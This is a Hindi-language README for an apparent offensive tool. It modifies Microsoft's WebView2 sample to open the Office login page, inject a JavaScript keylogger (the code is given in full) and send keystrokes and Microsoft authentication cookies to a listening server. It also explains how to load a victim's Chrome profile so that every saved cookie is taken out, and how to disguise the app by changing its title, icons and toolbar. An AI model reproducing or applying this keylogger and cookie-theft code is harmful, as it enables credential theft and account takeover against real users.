
WebView2 पृष्ठों में JavaScript कीलॉगर इंजेक्ट करता है ताकि कीस्ट्रोक्स कैप्चर कर सके और Microsoft प्रमाणीकरण सत्रों से कुकीज़ को HTTP GET अनुरोधों के माध्यम से बाहर निकाल सके।
कृपया अधिक जानकारी के लिए यह ब्लॉग पोस्ट पढ़ें।
यह कोड Microsoft के WebView2 कोड का एक संशोधित संस्करण है। वर्तमान कोड को साफ किया जा सकता है और बेहतर बनाया जा सकता है।
Windows 10 और 11 पर परीक्षण किया गया।
जब बाइनरी निष्पादित की जाती है तो https://office.com/login लोड होता है। प्रत्येक पृष्ठ में एक JavaScript कीलॉगर इंजेक्ट किया जाता है और कीस्ट्रोक्स http://127.0.0.1:8080 पर भेजे जाते हैं। इसके अलावा, उपयोगकर्ता के सफलतापूर्वक प्रमाणित होने पर login.microsoftonline.com के कुकीज़ base64-एन्कोडेड होते हैं और HTTP GET अनुरोध के माध्यम से http://127.0.0.1:8080 पर भेजे जाते हैं।
यदि आप जावास्क्रिप्ट को संशोधित करना चाहते हैं तो बदलने के लिए आवश्यक कोड नीचे AppWindow.cpp में पंक्ति 1096 पर दिखाया गया है।
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 आपको एक नया बनाने के बजाय मौजूदा उपयोगकर्ता डेटा फ़ोल्डर (UDF) के साथ लॉन्च करने की अनुमति देता है। UDF में सभी पासवर्ड, सत्र, बुकमार्क आदि शामिल हैं। Chrome का UDF C:\Users\<username>\AppData\Local\Google\Chrome\User Data पर स्थित है। हम केवल WebView2 को इस प्रोफ़ाइल का उपयोग करके इंस्टेंस शुरू करने और लॉन्च के बाद सभी कुकीज़ निकालकर हमलावर के सर्वर पर स्थानांतरित करने का निर्देश दे सकते हैं।
एकमात्र समस्या यह है कि WebView2 User Data के बजाय EBWebView नामक फ़ोल्डर की तलाश करता है (पता नहीं क्यों)। User Data फ़ोल्डर को कॉपी करें और इसका नाम बदलकर EBWebView रखें।
app.cpp में पंक्ति 41 पर:
std::wstring userDataFolder(L""); को std::wstring userDataFolder(L"C:\\Path\\To\\Temp"); में बदलेंEBWebView फ़ोल्डर होना चाहिए जिससे WebView2 पढ़ेगा।ScenarioCookieManagement.cpp में पंक्ति 40 पर:
GetCookiesHelper(L"https://login.microsoftonline.com"); को GetCookiesHelper(L""); में बदलेंजब GetCookiesHelper को बिना कोई वेबसाइट प्रदान किए आमंत्रित किया जाता है तो यह सभी कुकीज़ निकाल लेगा।
नोट: यह वर्तमान एप्लिकेशन के साथ काम नहीं करेगा यदि बड़ी मात्रा में कुकीज़ हैं क्योंकि एप्लिकेशन उन्हें GET अनुरोध का उपयोग करके भेजता है जिसकी लंबाई सीमा होती है।
यदि आप बाइनरी में संशोधन करना चाहते हैं तो नीचे महत्वपूर्ण फ़ंक्शन के बारे में जानकारी मिलेगी।
GetUri() फ़ंक्शन में वह URL है जो बाइनरी निष्पादन पर लोड होता है।SendCookies() फ़ंक्शन में आईपी पता और पोर्ट है जहाँ कुकीज़ भेजी जाती हैं।CallCookieFunction() फ़ंक्शन तब तक प्रतीक्षा करता है जब तक URL https://www.office.com/?auth= से शुरू नहीं होता और ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com") को कॉल करता है।POPUP मानों को "" पर सेट करके मेनू बार हटाएँ।IDS_APP_TITLE और IDC_WEBVIEW2APISAMPLE बदलें। यह टाइटल बार में एप्लिकेशन का नाम है।IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE और IDI_SMALL बदलें। ये एक फ़ाइल की ओर इशारा करते हैं जो इस एप्लिकेशन का आइकन है।.icoitemHeight को 0 पर सेट किया जाना चाहिए। इस कोड में इसका पहले से ध्यान रखा गया है।LoadImage() को टिप्पणी के रूप में हटा देना चाहिए। यह नीली स्प्लैश छवि को छिपाता है। इस कोड में इसका पहले से ध्यान रखा गया है।new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); अंतिम पैरामीटर मान को true में बदलें। यह टूलबार को छिपाता है। इस कोड में इसका पहले से ध्यान रखा गया है।